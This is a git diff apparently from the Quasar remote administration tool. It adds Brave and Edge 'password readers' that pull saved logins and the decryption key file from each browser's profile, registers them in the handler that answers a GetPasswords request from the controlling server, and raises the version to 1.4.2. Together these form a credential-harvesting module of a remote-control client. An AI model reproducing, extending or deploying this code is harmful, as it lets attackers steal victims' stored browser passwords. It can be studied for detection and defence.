diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs
index d94761ed..69ba5342 100644
--- a/Quasar.Client/Messages/PasswordRecoveryHandler.cs
+++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs
@@ -32,9 +32,11 @@ private void Execute(ISender client, GetPasswords message)
var passReaders = new IAccountReader[]
{
+ new BravePassReader(),
new ChromePassReader(),
new OperaPassReader(),
new OperaGXPassReader(),
+ new EdgePassReader(),
new YandexPassReader(),
new FirefoxPassReader(),
new InternetExplorerPassReader(),
diff --git a/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs
index a86203f3..672cfed5 100644
--- a/Quasar.Client/Properties/AssemblyInfo.cs
+++ b/Quasar.Client/Properties/AssemblyInfo.cs
@@ -30,5 +30,5 @@
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.4.0")]
-[assembly: AssemblyFileVersion("1.4.0")]
+[assembly: AssemblyVersion("1.4.2")]
+[assembly: AssemblyFileVersion("1.4.2")]
diff --git a/Quasar.Client/Recovery/Browsers/BravePassReader.cs b/Quasar.Client/Recovery/Browsers/BravePassReader.cs
new file mode 100644
index 00000000..ceec03b3
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/BravePassReader.cs
@@ -0,0 +1,30 @@
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ public class BravePassReader : ChromiumBase
+ {
+ ///
+ public override string ApplicationName => "Brave";
+
+ ///
+ public override IEnumerable ReadAccounts()
+ {
+ try
+ {
+ string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data");
+ string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "BraveSoftware\\Brave-Browser\\User Data\\Local State");
+ return ReadAccounts(filePath, localStatePath);
+ }
+ catch (Exception)
+ {
+ return new List();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/EdgePassReader.cs b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs
new file mode 100644
index 00000000..3e66044c
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs
@@ -0,0 +1,30 @@
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ public class EdgePassReader : ChromiumBase
+ {
+ ///
+ public override string ApplicationName => "Microsoft Edge";
+
+ ///
+ public override IEnumerable ReadAccounts()
+ {
+ try
+ {
+ string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "Microsoft\\Edge\\User Data\\Default\\Login Data");
+ string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "Microsoft\\Edge\\User Data\\Local State");
+ return ReadAccounts(filePath, localStatePath);
+ }
+ catch (Exception)
+ {
+ return new List();
+ }
+ }
+ }
+}
diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs
index 80abfd66..b4a30e51 100644
--- a/Quasar.Common.Tests/Properties/AssemblyInfo.cs
+++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs
@@ -16,5 +16,5 @@
[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")]
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.4.0")]
-[assembly: AssemblyFileVersion("1.4.0")]
+[assembly: AssemblyVersion("1.4.2")]
+[assembly: AssemblyFileVersion("1.4.2")]
diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs
index ba6e4d35..f243c46a 100644
--- a/Quasar.Common/Properties/AssemblyInfo.cs
+++ b/Quasar.Common/Properties/AssemblyInfo.cs
@@ -33,5 +33,5 @@
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.4.0")]
-[assembly: AssemblyFileVersion("1.4.0")]
+[assembly: AssemblyVersion("1.4.2")]
+[assembly: AssemblyFileVersion("1.4.2")]
diff --git a/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs
index 413dd6ab..b1681b69 100644
--- a/Quasar.Server/Properties/AssemblyInfo.cs
+++ b/Quasar.Server/Properties/AssemblyInfo.cs
@@ -30,5 +30,5 @@
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.4.0")]
-[assembly: AssemblyFileVersion("1.4.0")]
\ No newline at end of file
+[assembly: AssemblyVersion("1.4.2")]
+[assembly: AssemblyFileVersion("1.4.2")]
\ No newline at end of file